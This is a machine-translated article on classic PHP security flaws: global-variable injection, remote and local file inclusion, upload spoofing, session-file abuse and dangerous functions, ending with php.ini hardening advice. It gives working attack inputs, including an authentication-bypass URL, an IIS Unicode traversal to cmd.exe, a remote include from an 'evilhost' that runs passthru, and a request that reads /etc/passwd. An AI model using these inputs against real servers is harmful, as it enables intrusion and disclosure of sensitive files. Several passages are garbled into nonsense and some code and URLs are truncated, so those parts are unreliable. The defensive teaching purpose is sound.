PHP Program Common Vulnerability attack Treasure _php

[Global variables]
Variables in PHP do not need to be declared beforehand, they are created automatically the first time they are used, and their types do not need to be specified, and they are determined automatically based on the context. From the programmer's point of view, this is undoubtedly a very convenient way of handling. Obviously, this is also a very useful feature of rapid language development. Once a variable has been created, it can be used anywhere in the program. The result of this feature is that programmers seldom initialize variables, after all, they are empty when they are created for the first time.

Obviously, the main function of the PHP-based application is generally to accept the user's input (mainly form variables, upload files and cookies, etc.), and then process the input data, and then return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, in fact, PHP is the input data as a global variable to handle.

For example:



Obviously, this displays a text box and a Submit button. When the user clicks the Submit button, "test.php" processes the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If the attacker does not call "test.php" through form input, but instead enters Http://server/test.php?hello=hi&set directly in the browser address bar ... Knocking Chu?/a> $hello "was created," $setup "was also created.

The Translator notes: These two methods are the "POST" and "GET" methods we usually call.
The following user authentication code exposes the security issues caused by the global variables of PHP:

if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
?>

The above code first checks whether the user's password is "Hello", if it matches, set "$auth" to "1", that is, through authentication. Then if "$suth" is "1", some important information will be displayed.

The surface appears to be correct, and quite a few of us have done this, but this code makes the mistake of taking it for granted, assuming that "$auth" is empty when no value is set, but that an attacker could create any global variable and assign a value, through a similar "http://server/ Test.php?auth=1 "the party ... and ya now bamboo blind g?/a>

Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are a lot of variables in the program, this is a very difficult task.

A common protection method is to check the variables in the array http_get[] or post_vars[], which depends on how we submit (GET or POST). When PHP is configured to open the "track_vars" option (this is the default), the user-submitted variable can be obtained in the global variable and the array mentioned above.

But it's worth noting that PHP has four different array variables to handle the user's input. The Http_get_vars array is used to handle variables that are submitted by the GET mode, http_post_vars arrays are used to handle variables submitted by POST, http_cookie_vars arrays are used to handle variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by newer PHP, is an optional way for the user to commit the variable. A user's request can easily put variables in these four arrays, so a secure PHP program should check for these four arrays.

[Remote file]
PHP is a rich language that provides a number of functions that make it easy for programmers to implement a feature. But from a security point of view, the more features, the more difficult it is to ensure its security, remote files are a good example of this problem:

if (! ( $FD = fopen ("$filename", "R"))
Echo ("Could not open file&: $filename
\ n ");
?>

The above script tries to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of PHP's file-handling functions are transparent to remote files.

For example:
If you specify "$filename" as "Http://target/scripts/..%c1%1c../wi...md.exe?/c+dir"

The above code actually takes advantage of the Unicode vulnerability on the host target and executes the dir command.

This allows the include (), require (), include_once (), and require_once () to support remote files to become more interesting in the context. The main function of these functions is to include the contents of the specified file, and to interpret them in PHP code, mainly used in the library file.

For example:
Include ($libdir. "/languages.php");
?>

In the above example, "$libdir" is usually a path that has been set before executing the code, and if the attacker can make the "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poison null byte" attack in Perl has no effect on PHP). However, because of the remote file support, attack tie Tu Asher wei Luo @ browsing fine china Huangshan clicks pin Flattering clean, geumcheon, 魃 play Pong Huan Xin raise anguages.php, including the following:

PassThru ("/bin/ls/etc");
?>

The "$libdir" is then set to "http://<;evilhost>/" so that we can execute the above attack code on the target host, and the contents of the "/etc" directory are returned to the customer's browser as a result.


It should be noted that the attack server (that is, evilhost) should not execute PHP code, or the attack code will be on the attack server, not the target server execution, if you want to know the specific technical details, please refer to:/http Www.securereality.com.au/sradv00006.txt

[File Upload]
PHP automatically supports file uploads based on RFC 1867, and we look at the following example:



The above code allows the user to select a file from the local machine, and when the commit is clicked, the file is uploaded to the server. This is obviously a useful feature, but the way PHP responds makes this feature unsafe. When PHP first receives this request, even before it starts parsing the called PHP code, it accepts the remote user's file, checks whether the length of the file exceeds the value defined by the "$MAX _file_size variable", and, if passing these tests, The file will be present in a local temporary directory.

As a result, an attacker can send arbitrary files to a host running PHP, and the file is already on the server when the PHP program has not decided whether to accept the file upload.

I'm not going to discuss the possibility of using file uploads to Dos attacks on servers.

Let's consider the PHP program that handles file uploads, as we said above, the file is received and exists on the server (the location is specified in the configuration file, usually/tmp), and the extension is generally random, similar to the "Phpxxuoxg" form. The PHP program needs to upload the file information in order to handle it, which can be done in two ways, one in PHP 3, and the other after we introduced a security bulletin to the previous method.

However, we can say for sure that the problem still exists, and most PHP programs use the old way to handle uploading files. PHP sets four global variables to describe uploaded files, such as the example above:

$hello = Filename on local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g
"C:\\temp\\hello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain")

The PHP program then starts processing files specified according to the "$hello", the problem is that "$hello" is not necessarily a PHP set variable, any remote user can specify it. If we use the following method:

Http://vulnhost/vuln.php?hello=/etc..._name=hello.txt

Causes the following PHP global variables (of course post can also (even a cookie)):

$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt"

The form data above satisfies the variables expected by the PHP program, but at this point the PHP program does not process the uploaded file, but instead handles the "/etc/passwd" (which usually causes the content to be exposed). This attack can be used to expose the contents of any sensitive file.

As I said earlier, the new version of PHP uses http_post_files[] to decide to upload the file, and it also provides a number of functions to solve the problem, such as having a function to determine whether a file is actually loaded. These functions are a good solution to this problem, but there are certainly many PHP programs that still use the old method and are vulnerable to this attack.

As a variant of the attack method for file uploads, let's take a look at the following piece of code:

if (file_exists ($theme))//Checks the file exists on the local system
(No remote files)
Include ("$theme");
?>

If an attacker can control the "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. This may seem impossible at first glance, but the file upload helps us, if the attacker first creates a file with PHP code on the local machine, and then creates a form with a file field named "Theme", Finally with this form through the file upload to create the file containing PHP code to the above code, PHP will save the file submitted by the attacker, and the "$theme" value is set to the attacker submitted files, so the file_exists () function will check through, The attacker's code will also be executed.

Given the ability to execute arbitrary instructions, an attacker would obviously want to elevate the privileges or expand the outcome, which would require a set of tools not available on the server, and the file upload has helped us again. Attackers can use the file Upload feature to upload tools, place them on the server, and then use their ability to execute instructions, use chmod () to change the file's permissions, and then execute. For example, an attacker could bypass the firewall or IDs to upload a local root attack program and execute it, thus gaining root privileges.

[Library file]
As we discussed earlier, the include () and require () are primarily designed to support code libraries, because we typically put some frequently used functions into a separate file, which is the code base, and when you need to use one of the functions, We just have to include this codebase in the current file.

Initially, when people developed and published PHP programs, in order to distinguish between the code base and the main program code, the code base file is usually set up a ". Inc" extension, but they quickly found that this is a mistake, because such a file can not be correctly parsed by the PHP interpreter into PHP code. If we directly request such a file on the server, we will get the source code of the file, because when using PHP as an Apache module, the PHP interpreter is based on the file extension to determine whether to parse into PHP code. The extension is specified by the site administrator, typically ". php", ". PhP3" and ". PhP4". If important configuration data is included in a PHP file that does not have the appropriate extension, it is easy for a remote attacker to get that information.

The simplest solution is to specify a php file extension for each file, which can be a good way to prevent the problem of leaking source code, but also create a new problem, by requesting this file, the attacker may be running in the context of the code to run independently, which could lead to all the attacks discussed earlier.

The following is an obvious example:

In main.php:
$libDir = "/libdir";
$langDir = "$libdir/languages";

...

Include ("$libdir/loadlanguage.php":
?>

In libdir/loadlanguage.php:
...

Include ("$langDir/$userLang");
?>

It is fairly secure when "libdir/loadlanguage.php" is called by "main.php", but because "libdir/loadlanguage" has an extension of ". PHP", remote attackers can request this file directly, You can optionally specify values for $langDir and $userLang.

[Session file]
Php
The 4 or later version provides support for sessions, whose primary role is to save state information between pages and pages in a PHP program. For example, when a user logs on to the site, he logs in to the fact and whoever logs into the site is saved in the session, and all PHP code can get the status information when he is browsing around the site.


In fact, when a session is started (which is actually set in the configuration file to start automatically on the first request), a random "session ID" is generated, if the remote browser always submits the "session ID" when sending the request, The session will always be maintained. This can be done easily through cookies, or by submitting a form variable (containing "session ID") on each page. The PHP program can register a special variable with the session, and its value will be in the session file at the end of each PHP script, and will be loaded into the variable before each PHP script starts. The following is a simple example:

Session_destroy (); Kill any data currently in the session
$session _auth = "Shaun";
Session_register ("Session_auth"); Register $session _auth as a
Session variable
?>

The new version of PHP will automatically set the "$session _auth" value to "Shaun", if they are modified, the future script will automatically accept the modified value, which is a very good tool for the stateless web, but we should also be careful.

One obvious problem is to make sure that the variable really comes from the session, for example, given the code above, if the following script is:

if (!empty ($session _auth))
Grant access to Site here
?>

The code above assumes that if "$session _auth" is set, it is set from the session, not from the user input, and if the attacker is set up by Form input, he can gain access to the site. Note that an attacker must use this attack method before the session registers the variable, and once the variable is placed in the session, it will overwrite any form input.


Session data is generally stored in the file (the location is configurable, usually "/tmp"), the file name is generally similar to the "Sess_ "In the form of this file contains variable names, variable types, variable values, and some other data. In a multi-host system, because the file is stored as the user who runs the Web server (typically nobody), a malicious site owner can create a session file to gain access to other sites and even check for sensitive information in the session file.

The session mechanism also provides another convenient place for attackers to save their input to files in the remote system, and for the example above, an attacker would need to place a file containing PHP code in the remote system, if it is not possible to do so with a file upload. He usually uses the session to assign a value to a variable at his own will, then guesses the location of the session file, and he knows the filename is "php , so just guess the directory, and the directory is usually "/tmp".

Alternatively, an attacker could arbitrarily specify the session ID (for example, "Hello") and then create a session file (such as "/tmp/sess_hello") with this session ID, but the session ID can only be a combination of letters and numbers.

[Data type]
PHP has loosely typed data types, and the types of variables depend on the context in which they are located. For example: "$hello" begins as a string variable with a value of "", but when evaluated, it becomes the shaping variable "0", which can sometimes lead to unexpected results. If the value of "$hello" is different for "000" or "0", the result returned by empty () will not be true.

An array in PHP is an associative array, that is, the index of an array is of a string type. This means that "$hello [" 000 "]" and "$hello [0]" are also different.

The development of the program should carefully consider the above problem, for example, we should not be in one place to test whether a variable is "0", and in another place using empty () to verify.

[ERROR-prone function]
When we analyze bugs in PHP programs, if we can get the source code, then an error-prone list of functions is what we really need. If we can change the parameters of these functions remotely, then we are likely to find the holes in them. The following is a more detailed list of error-prone functions:


Require (): reads the contents of the specified file and interprets it as PHP code
Include (): Ibid.
Eval (): Executes the given string as PHP code
Preg_replace (): When used with the "/E" switch, the replacement string is interpreted as PHP code

<命令执行>
EXEC (): Executes the specified command, returning the last line of the execution result
PassThru (): Executes the specified command, returning all results to the client browser
": Executes the specified command, returning all results to an array
System (): Same as PassThru (), but does not process binary data
Popen (): Executes the specified command to connect the input or output to the PHP file descriptor

<文件泄露>
fopen (): Open the file and correspond to a PHP file descriptor
ReadFile (): reads the contents of the file and then outputs it to the customer's browser
File (): reads the entire contents into an array

Note: In fact, this list is not very full, such as "Mail ()" and other commands may also execute commands, so you need to add a bit.
[How to enhance the security of PHP]
All the attacks I've described above are for the default installed PHP
4 can be very well implemented, but I have repeated many times, PHP configuration is very flexible, by configuring some PHP options, we can completely resist some of these attacks. Here are some of the configurations that I have categorized according to the difficulty of implementation:

* Low Difficulty
* * Medium and low difficulty
Medium to High difficulty
High Difficulty

The above classification is only personal, but I can guarantee that if you use all the options provided by PHP, then your PHP will be very safe, even for third-party code, because many of these features are no longer available.

Setting "Register_globals" to "off" prevents PHP from creating global variables for user input, that is, if the user submits the form variable "Hello", PHP will not create "$ hello" and will only create "Http_get/post _vars[hello] ". This is an extremely important option in PHP, and turning off this option can cause great inconvenience to programming.

Set "Safe_mode" to "on"
Turning this option on will add the following restrictions:
1. Restrict which command can be executed
2. Restrict which function can be used
3. File access restrictions based on script ownership and target file ownership
4. Disable File Upload feature
This is a great option for ISPs as well as a great way to improve PHP security.

* * Set "Open_basedir"
This option disables file operations outside of the specified directory, effectively eliminating local files or remote files being used by include (), but still requires attention to file uploads and session file attacks.

* * Set "display_errors" to "off", set "Log_errors" as "on" This option prevents the error message from being displayed in the Web page, but rather logs it into the log file, which effectively resists the attacker's ability to detect functions in the target script.

* Set "Allow_url_fopen" as "off" this option can prohibit remote file function, highly recommended!

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